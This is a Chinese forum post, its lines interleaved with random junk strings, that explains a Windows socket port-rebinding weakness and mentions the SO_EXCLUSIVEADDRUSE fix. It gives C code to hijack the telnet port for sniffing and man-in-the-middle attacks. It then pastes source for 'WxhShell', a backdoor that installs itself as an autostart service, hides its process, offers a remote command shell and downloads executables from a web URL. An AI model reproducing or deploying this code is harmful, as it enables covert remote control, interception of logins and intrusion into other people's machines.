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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z/;8eb*B7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CY!H)6k  
%XXjQ5p  
  saddr.sin_family = AF_INET; v6T<K)S  
gf8~Zlq4v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LM!@LQAMY  
!VvM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `0R>r7f)H  
K-@cn*6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /j\.~=,_  
` ^z l =  
  这意味着什么?意味着可以进行如下的攻击: j~hvPlho  
]\3<UL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tZr_{F@  
^j?"0|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~y ?v  
1L3 $h0i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]v$2JgF]@  
#Jfmt~ks '  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o;pJjC]  
hCj8y.X|E(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mWVq>~  
YD5mJ[1t"2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 os+ ]ct  
tA K=W$r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :,'.b|Tl.b  
cs]3Rp^g  
  #include R ~#&xfMd.  
  #include " _TAo  
  #include 2]tW&y_i  
  #include    AxCFZf5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [Lf8*U"  
  int main() 4&B|rf  
  { y*I,i*iv  
  WORD wVersionRequested; : p7PiqQ  
  DWORD ret; z,SNJIsx  
  WSADATA wsaData; F Zk[w>{  
  BOOL val; jZq CM{  
  SOCKADDR_IN saddr; \YH*x`  
  SOCKADDR_IN scaddr; }y%mG&KSz  
  int err; XBTjb  
  SOCKET s; _+&/P&  
  SOCKET sc; \Iz-<:gA'  
  int caddsize; F=;nWQ&  
  HANDLE mt; _P=L| U#C  
  DWORD tid;   QU@CPME  
  wVersionRequested = MAKEWORD( 2, 2 ); NcIr; }  
  err = WSAStartup( wVersionRequested, &wsaData ); k,r}X:<6jz  
  if ( err != 0 ) { Qgl5Jr.  
  printf("error!WSAStartup failed!\n"); HB}iT1.`  
  return -1; )79F"ltz h  
  } "u"?~  
  saddr.sin_family = AF_INET; u4:6zU/{  
   :2;c@ uj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c+UZ UgP  
zY&/lWW._  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I -V=Z:  
  saddr.sin_port = htons(23); z*/}rk4i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sfCU"O2G  
  { ^<Sy{KY  
  printf("error!socket failed!\n"); t\-;n:p-  
  return -1; [} "m4+  
  } XJ?zP=UK  
  val = TRUE; =o4McV}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hDTM\>.c;s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <A] Kg  
  { nD{{/_"'  
  printf("error!setsockopt failed!\n"); ]Q{MF- EKj  
  return -1; XC[bEp$  
  } <+ckE 2j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5Ja[p~^L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '\Uy;,tu /  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WL<f!   
Yg]!`(db  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kd3EZo.  
  { NO.5Vy  
  ret=GetLastError(); b!z=:  
  printf("error!bind failed!\n"); _RG2I)P  
  return -1; dijHi  
  } iZ2nBi Q  
  listen(s,2); R|!4klb  
  while(1) X@@7Qk  
  { (.9H1aO46|  
  caddsize = sizeof(scaddr); /Au7X'}  
  //接受连接请求 Opf^#6'mq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X"v)9 p  
  if(sc!=INVALID_SOCKET) Vpf7~2[q%  
  { E <h9o>h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IlMst16q5  
  if(mt==NULL) Ny 7vId  
  { ^xF-IA#ZeB  
  printf("Thread Creat Failed!\n"); *Q,9 [k  
  break; s^-o_K\*c  
  } 8"J6(KS  
  } v c b}Gk  
  CloseHandle(mt); ~> 5  
  } AF"XsEt.e  
  closesocket(s); W^1)70<y  
  WSACleanup(); 8,?*eYNjb  
  return 0; ZgL]ex  
  }   w(R+p/RF  
  DWORD WINAPI ClientThread(LPVOID lpParam) ag"Nf-o/Y  
  { S(hT3MAW  
  SOCKET ss = (SOCKET)lpParam; O|0}m  
  SOCKET sc; Xa&0j&AH  
  unsigned char buf[4096]; m~vEandm  
  SOCKADDR_IN saddr; 78FK{Cr  
  long num; BPC>  
  DWORD val; n,%/cUl  
  DWORD ret; OG2&=~hOz-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wXUgxa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LKu ,H  
  saddr.sin_family = AF_INET; @i@f@.t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r_M5:Rz  
  saddr.sin_port = htons(23); 3>buZ6vh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4>te>[  
  { NpF)|Ppb{  
  printf("error!socket failed!\n"); C: a</Sl  
  return -1; \%]!/&>{6  
  } Hp-vBoEk  
  val = 100; hrTl:\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) to;cF6X  
  { d8/KTl  
  ret = GetLastError(); ,IQ%7*f;O_  
  return -1; txe mu *  
  } %51HJB}C]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AR5)Uw s  
  { N##- vV  
  ret = GetLastError(); )r:gDd#/X  
  return -1; ?F@X>zR2  
  } OT}^dPQe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +&8'@v$  
  { ,PZ[CX;H@  
  printf("error!socket connect failed!\n"); ]gB:ht  
  closesocket(sc); q%8Ck)xz  
  closesocket(ss); j+NpQ}t:  
  return -1; >d5L4&r  
  } >7nOR  
  while(1) >Ms_bfSK  
  { 8Z(\iZ5Rgj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 EY'48S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uZ(,7>0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t-$Hti7Lk  
  num = recv(ss,buf,4096,0); lhduK4u  
  if(num>0) y'U-y"7y  
  send(sc,buf,num,0); dmUa\1g#  
  else if(num==0) _&/2-3]\B  
  break; *Au[{sR  
  num = recv(sc,buf,4096,0); #=aTSw X  
  if(num>0) @!2vS@f  
  send(ss,buf,num,0); !yf7y/qY  
  else if(num==0) ]ag^~8bG @  
  break; F]`_akE  
  } QF9$SCmv  
  closesocket(ss); :A]CD (  
  closesocket(sc); @y{ f>nm  
  return 0 ; s f<NC>-  
  } Cc!LJ  
%pr}Xs(-f  
C+Pw  
========================================================== lsRW.h,  
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下边附上一个代码,,WXhSHELL HWi: CDgm  
H0Ck%5  
========================================================== ^ lM.lS>)  
w.R2' W R  
#include "stdafx.h" BZAF;j  
&Vmx<w  
#include <stdio.h> 2N}h<Yd 9  
#include <string.h> +pJ~<ug]  
#include <windows.h> q OX=M  
#include <winsock2.h> s. jcD  
#include <winsvc.h> Ai.^~#%X  
#include <urlmon.h> Bz*6M  
T{mIk p<  
#pragma comment (lib, "Ws2_32.lib") P_%kYcX'  
#pragma comment (lib, "urlmon.lib") rZ^VKO`~I1  
5{O9<~,  
#define MAX_USER   100 // 最大客户端连接数 %Y<3v \`_  
#define BUF_SOCK   200 // sock buffer "BD$-]  
#define KEY_BUFF   255 // 输入 buffer f&L8<AS Fo  
^?o>(K  
#define REBOOT     0   // 重启 +}.S:w_xQ  
#define SHUTDOWN   1   // 关机 [p&2k&.XYe  
PBp+(o-  
#define DEF_PORT   5000 // 监听端口 \:`-"Ou(*  
^U0)iz  
#define REG_LEN     16   // 注册表键长度 L<H6AzR+  
#define SVC_LEN     80   // NT服务名长度 EGJrnz8  
m00 5*>IY  
// 从dll定义API /faP@Q3kR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <+)B8I^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J#*R]LU|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >J_%'%%f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gjo&~*;  
'v'=t<wgl  
// wxhshell配置信息 ,NoWAmv  
struct WSCFG { iE=:}"pI"  
  int ws_port;         // 监听端口 #wP$LKk  
  char ws_passstr[REG_LEN]; // 口令 &xMQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no  o C#W  
  char ws_regname[REG_LEN]; // 注册表键名 W#lt_2!j  
  char ws_svcname[REG_LEN]; // 服务名 fW8whN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <-Q0s%mNj,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EawtT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PHQ99&F1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8I,/ysT:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X UcM~U-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G=qT{c 8Q  
tboc7Hor4  
}; =y WHm  
1i:Q %E F  
// default Wxhshell configuration n`2LGc[rP  
struct WSCFG wscfg={DEF_PORT, TC^fyxq  
    "xuhuanlingzhe", T +~ _D  
    1, mM)d`br  
    "Wxhshell", YKG}4{T  
    "Wxhshell", !S5_+.U#  
            "WxhShell Service", R\,qL-Br  
    "Wrsky Windows CmdShell Service", A_JNj8<6r  
    "Please Input Your Password: ", w>uo-88  
  1, ZRLS3*`  
  "http://www.wrsky.com/wxhshell.exe", h$rk]UM/Q  
  "Wxhshell.exe" w@&(=C  
    }; (=/}i'  
wl:[Ad  
// 消息定义模块 8u4FagQ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( t59SY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T@\%h8@~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tA]Y=U+Q  
char *msg_ws_ext="\n\rExit."; Q2nqA1sRk  
char *msg_ws_end="\n\rQuit."; d+158qQOh]  
char *msg_ws_boot="\n\rReboot..."; +EE(d/ f  
char *msg_ws_poff="\n\rShutdown..."; i :Sih"=  
char *msg_ws_down="\n\rSave to "; Nvj0MD{ X  
rX@?~(^ML  
char *msg_ws_err="\n\rErr!"; P1A5Qq  
char *msg_ws_ok="\n\rOK!"; C!s !j  
w^wh|'u^_@  
char ExeFile[MAX_PATH]; J^)=8cy  
int nUser = 0; Y!w {,\3  
HANDLE handles[MAX_USER]; ^.~m4t`U  
int OsIsNt; ;P!x/Ct  
%:/?eZ  
SERVICE_STATUS       serviceStatus; 1@{qPmf^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ewORb  
4+'d">+|  
// 函数声明 u:GDM   
int Install(void); .rs\%M|X  
int Uninstall(void); /w2jlu}yt  
int DownloadFile(char *sURL, SOCKET wsh);  '  
int Boot(int flag);  WDq~mi  
void HideProc(void); =Xh*w  
int GetOsVer(void); $61j_;WF`  
int Wxhshell(SOCKET wsl); 6 P U]I+  
void TalkWithClient(void *cs); m.2=,,r<Fq  
int CmdShell(SOCKET sock); bA8RoC  
int StartFromService(void); JPGEE1!B{b  
int StartWxhshell(LPSTR lpCmdLine); t 'im\_$F  
d+Au`'{>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c&;Xjy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BNpc-O~  
XL!^tMk  
// 数据结构和表定义 rw]7Lr_>  
SERVICE_TABLE_ENTRY DispatchTable[] = ;/=6~%  
{ `=JGlN7  
{wscfg.ws_svcname, NTServiceMain}, 6UnWtLE  
{NULL, NULL} O(CmdSk,  
}; Bl!R bh\  
j=5hW.fI  
// 自我安装 r"\g6<RP  
int Install(void) {u{8QKeC  
{ jz"-E  
  char svExeFile[MAX_PATH]; `d6,]'  
  HKEY key; .:V4>  
  strcpy(svExeFile,ExeFile); [|{m/`8C  
odNHyJS0  
// 如果是win9x系统,修改注册表设为自启动 c3q @]|aI  
if(!OsIsNt) { 3?:?dy(3z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <`WtP+`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #8;#)q_[u  
  RegCloseKey(key); j^qI~|#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ".:]? Lvt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U Rb  
  RegCloseKey(key); cL yed3uU  
  return 0; 1J @43>u{  
    } :elTqw>pn  
  } 7zEpuw  
} NQqq\h  
else { Q3|I.I e  
lJ/{.uK  
// 如果是NT以上系统,安装为系统服务 $mLiEsJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v7@O ,%  
if (schSCManager!=0) @1^:V-=  
{ IM$I=5y e  
  SC_HANDLE schService = CreateService C3GI?| b  
  ( }j6<S-s~  
  schSCManager, )*T <s  
  wscfg.ws_svcname, d6ABgQi0  
  wscfg.ws_svcdisp, gPz p/I  
  SERVICE_ALL_ACCESS, 2E_*'RT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DX#_0-o  
  SERVICE_AUTO_START, ;/|3U7{c  
  SERVICE_ERROR_NORMAL, >C"QV `+  
  svExeFile, 7$j O3J  
  NULL, ):pFI/iC  
  NULL, EGIwqci:  
  NULL, @(_f}S gfE  
  NULL, tDwj~{a~  
  NULL A.@Af+  
  ); rJqRzF{|P6  
  if (schService!=0) >S=,ype~G  
  { 9d1 G u"  
  CloseServiceHandle(schService); ]/y69ou  
  CloseServiceHandle(schSCManager); :MbD=sX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QB|D_?]  
  strcat(svExeFile,wscfg.ws_svcname); |cd=7[B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hD! 9[Gb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); os~}5QJ  
  RegCloseKey(key); ;|H(_J=6k  
  return 0; ;gmfWHB<  
    } Y%A KN  
  } g"o),$tm  
  CloseServiceHandle(schSCManager); 95X!{\  
} k=8LhO  
} ~sUWXw7~  
U)y~{E~c34  
return 1; [V_?`M  
} JHIXTy__  
kFsq23Ne  
// 自我卸载 U**v'%{s  
int Uninstall(void) B@@j-  
{ Th(F^W9  
  HKEY key; Eh*t;J=O  
W99Hq1W;r  
if(!OsIsNt) { <;.->73E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PZsq9;P$  
  RegDeleteValue(key,wscfg.ws_regname); I7/X6^/}  
  RegCloseKey(key); _z(ydL*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UZ}>@0  
  RegDeleteValue(key,wscfg.ws_regname); UOtrq=y  
  RegCloseKey(key); {%Ujp9i  
  return 0; )}i;OLw-  
  } Q1(6U6L  
} jYi{[* *  
} iJD_ qhd7  
else {  }j /r  
Q($aN-   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?B`Yq\L)  
if (schSCManager!=0) *2tG07kI  
{ Yt% E,U~g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZUxlk+o9d  
  if (schService!=0) !ii'hwFm$  
  { O)i]K`jk  
  if(DeleteService(schService)!=0) { </B5^}  
  CloseServiceHandle(schService); mbm|~UwD  
  CloseServiceHandle(schSCManager);  ;%tu;  
  return 0; :\+\/HTbh  
  } oy!Dm4F  
  CloseServiceHandle(schService); %/(>>*}Kw|  
  } \r+8}8  
  CloseServiceHandle(schSCManager); G oJ\6& "  
} A}cGag+sp  
} {f }4l  
Ap [}[:U  
return 1; qmJ^@dxs  
} <dA1n:3o  
7 /$s!pV  
// 从指定url下载文件 A"8"e*  
int DownloadFile(char *sURL, SOCKET wsh) b!ea(D!:  
{ d3|oKP6  
  HRESULT hr; r=3knCEWK  
char seps[]= "/"; @JL+xfz  
char *token; Q4JvFy0'  
char *file; J}vxK H#=  
char myURL[MAX_PATH]; =P.m5e<  
char myFILE[MAX_PATH]; {Z=m5Dy}  
Cw_XLMY%V1  
strcpy(myURL,sURL); (~<9\ZJs  
  token=strtok(myURL,seps); 6Wabw:  
  while(token!=NULL) E-_Q3^  
  { /kY|PY  
    file=token; @^';[P!  
  token=strtok(NULL,seps); 5V{zdS=  
  } *1 [v08?!  
`/z6 Q"  
GetCurrentDirectory(MAX_PATH,myFILE); <_tkd3t#W  
strcat(myFILE, "\\"); 7~V,=WEe  
strcat(myFILE, file); CrIt h/Z  
  send(wsh,myFILE,strlen(myFILE),0); 'l}T_7g  
send(wsh,"...",3,0); ~<, QxFG5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !7O!)WJ  
  if(hr==S_OK) """gV)Y  
return 0; utvZ<zz`  
else 2"~QI xY=  
return 1; 1L=6Z2*fB4  
G#pRBA^  
} u{o!#_o64  
e:~r_,K  
// 系统电源模块 0` {6~p  
int Boot(int flag) F9Ag687w  
{ 9w=GB?/  
  HANDLE hToken; -&ic%0|f  
  TOKEN_PRIVILEGES tkp; oVLgHB\zL  
URodvyD  
  if(OsIsNt) { t TAql n|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ! Bv"S0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WD^!G;}  
    tkp.PrivilegeCount = 1; 1.Ximom  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8SGFzb! h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?1?zma S  
if(flag==REBOOT) { D{{ ME8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WmRx_d_  
  return 0; eL-9fld /n  
} 65ctxxWv1  
else { 9aR-kcvJIJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9$z|kwU  
  return 0; .#,!&Lt  
} G' ~Z'  
  } mOb*VH  
  else { =Kv*M@  
if(flag==REBOOT) { PSO9{!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >h0iq  
  return 0; R`wL%I!?f  
} 6_m5%c~;+r  
else { \tj7Jy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "Z&-:1tP{9  
  return 0; #S/]=D  
} 0Jh^((i*  
} Nd.+Rs  
gJ_{V;R  
return 1; /R@,c B=  
} w~NQAHAvo  
=""z!%j  
// win9x进程隐藏模块 @{_L38. Nw  
void HideProc(void) zoV4Gl  
{ iINd*eXb^  
Ny@CP}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I6x  
  if ( hKernel != NULL ) HWJ(O/N  
  { 3iHUG^sLW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hlpi-oW`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y mdZ#I-  
    FreeLibrary(hKernel); $r`^8/Mq3  
  } WB2An7i@"{  
IcM99'P(  
return; ad "yo=%1  
} )Jx+R ;Z  
8IYn9<L  
// 获取操作系统版本 Q`"gKBN1  
int GetOsVer(void) lLO|,  
{ J6eF7 fa  
  OSVERSIONINFO winfo; .{` :  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W=fw*ro  
  GetVersionEx(&winfo); .5ap9li]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DD3.el}6a  
  return 1; GJ:65)KU  
  else ]d$:R`;  
  return 0; U ~j:b{  
} 4+ BWHV  
CbmT aEaP  
// 客户端句柄模块 /DG+8u  
int Wxhshell(SOCKET wsl) ?v4-<ewD  
{ ~s@PP'!  
  SOCKET wsh; l^ P[nQDH  
  struct sockaddr_in client; "<3F[[;~  
  DWORD myID; 6>rgoT)6~  
mRe BS  
  while(nUser<MAX_USER) x;&01@m.  
{ UEZnd8  
  int nSize=sizeof(client); p5|.E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +FD"8 ^YC  
  if(wsh==INVALID_SOCKET) return 1; :Ve>tZeW  
:.863_/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xV&c)l>}  
if(handles[nUser]==0) \K$9r=!(  
  closesocket(wsh); sN`2"t/s  
else k e'aSD  
  nUser++; s}8(__|  
  } Hc`)Q vFRW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EwvW: t1  
4~mYj@lvd  
  return 0; WmO.&zp  
} )-D{]>8  
C` s  
// 关闭 socket ; B4x>  
void CloseIt(SOCKET wsh) +Bg$]~ T  
{ OF[y$<jM  
closesocket(wsh); ^P4q6BW  
nUser--; ,/?7sHK-0  
ExitThread(0); h<)YZ[;x  
} [$PW {d8|  
K`7(*!HEb  
// 客户端请求句柄 4+rr3 $AY  
void TalkWithClient(void *cs) bXVH7Fy  
{ /.54r/FN')  
ZY_aE  
  SOCKET wsh=(SOCKET)cs; F E`4%X  
  char pwd[SVC_LEN]; v2OK/W,0  
  char cmd[KEY_BUFF]; _[D6 WY+  
char chr[1]; *C/bf)w  
int i,j; ,t"?~Hl".  
=<,>dBs}\  
  while (nUser < MAX_USER) { ^HJvT)e4  
p:*)rE  
if(wscfg.ws_passstr) { v:2*<;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D hN{Y8'~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s(~tL-_ K  
  //ZeroMemory(pwd,KEY_BUFF); F8u;C:^d  
      i=0; 1k=w 9  
  while(i<SVC_LEN) { criQa<N"  
$1aJdZC7  
  // 设置超时  4RPc&%  
  fd_set FdRead; o!nw/7|  
  struct timeval TimeOut; YJBlF2uD  
  FD_ZERO(&FdRead); s|p,UK  
  FD_SET(wsh,&FdRead); vpt*?eR  
  TimeOut.tv_sec=8; Z7\}x"hk  
  TimeOut.tv_usec=0; x;Qs_"t];3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I},]Y~Y3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R^v-%mG9  
uu5AW=j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MR=dQc  
  pwd=chr[0]; EESGU(  
  if(chr[0]==0xd || chr[0]==0xa) { 4b\R@Knu  
  pwd=0; d@sAB1:  
  break; JQi+y;  
  } ~>&Jks_Q  
  i++; 4Ss4jUj  
    } ^("23mhfJ  
7T\LYDT  
  // 如果是非法用户,关闭 socket gu~JB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rM?O2n  
} :6}Zo  
HuVx^y` @  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p$5uS=:4`8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wSy|h*a,  
x9QUo*MT  
while(1) { y\a@'LFL  
t@#+vs@  
  ZeroMemory(cmd,KEY_BUFF); 5 )A(q\  
I_?+;<n  
      // 自动支持客户端 telnet标准   1/JtL>SKE  
  j=0; 9i6z  p'  
  while(j<KEY_BUFF) { $-J0ou8~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x9DG87P~+  
  cmd[j]=chr[0]; rI'kGqU  
  if(chr[0]==0xa || chr[0]==0xd) { ^bD)Tg5K  
  cmd[j]=0; *Z9Rl>  
  break; D)O2=aQ;]  
  } p`+=) n  
  j++; [8kufMY|  
    } 'P AIh*qA  
!6` pq  
  // 下载文件 n]%T>\gw  
  if(strstr(cmd,"http://")) { 5`_UIYcI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '' Pu  
  if(DownloadFile(cmd,wsh)) U4$}8~o4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W"{:|'/v  
  else i1c z+}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Quq X4  
  } i% FpPni  
  else { =pT}]  
`@_j Do  
    switch(cmd[0]) { %qycxEVP  
  0uZL*4A+C  
  // 帮助 8I>'x f  
  case '?': { ??]b,f4CNa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n_ 3g  
    break; =<BPoGs5  
  } S9 p*rk ~  
  // 安装 ' ?4 \  
  case 'i': { dmB _`R  
    if(Install()) [-5l=j r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qhc>,v)  
    else Ii.0Bul  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OMY^'g%w  
    break;  T)Uhp  
    } ,(;TV_@$  
  // 卸载 8wf[*6VwV  
  case 'r': { kndN} Vq  
    if(Uninstall()) ku3(cb!2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:V0pb  
    else hifC.guK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E"'4=_  
    break; (r9W[  
    } "<N2TDF5  
  // 显示 wxhshell 所在路径 LykB2]T  
  case 'p': { r\j*?m ]  
    char svExeFile[MAX_PATH]; af>^<q  
    strcpy(svExeFile,"\n\r"); O0Pb"ou_h.  
      strcat(svExeFile,ExeFile); 2ophh/]  
        send(wsh,svExeFile,strlen(svExeFile),0); 2(i@\dZCb<  
    break; ,hVDGif  
    } v =]!Po&Q-  
  // 重启 d#U~>wr  
  case 'b': { kSfNu{YS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rw }wQP_'  
    if(Boot(REBOOT)) Zl\$9Q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;Ij ,  
    else { U/s!Tb>`  
    closesocket(wsh); }2]m]D@%7  
    ExitThread(0); ,]LsX"u  
    } &y+)xe:&S  
    break; r.ib"W#4  
    } U)Jwo O  
  // 关机 H/^t]bg,  
  case 'd': { sK/Z 'h{|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qn!KL0w  
    if(Boot(SHUTDOWN)) khb/"VYd  
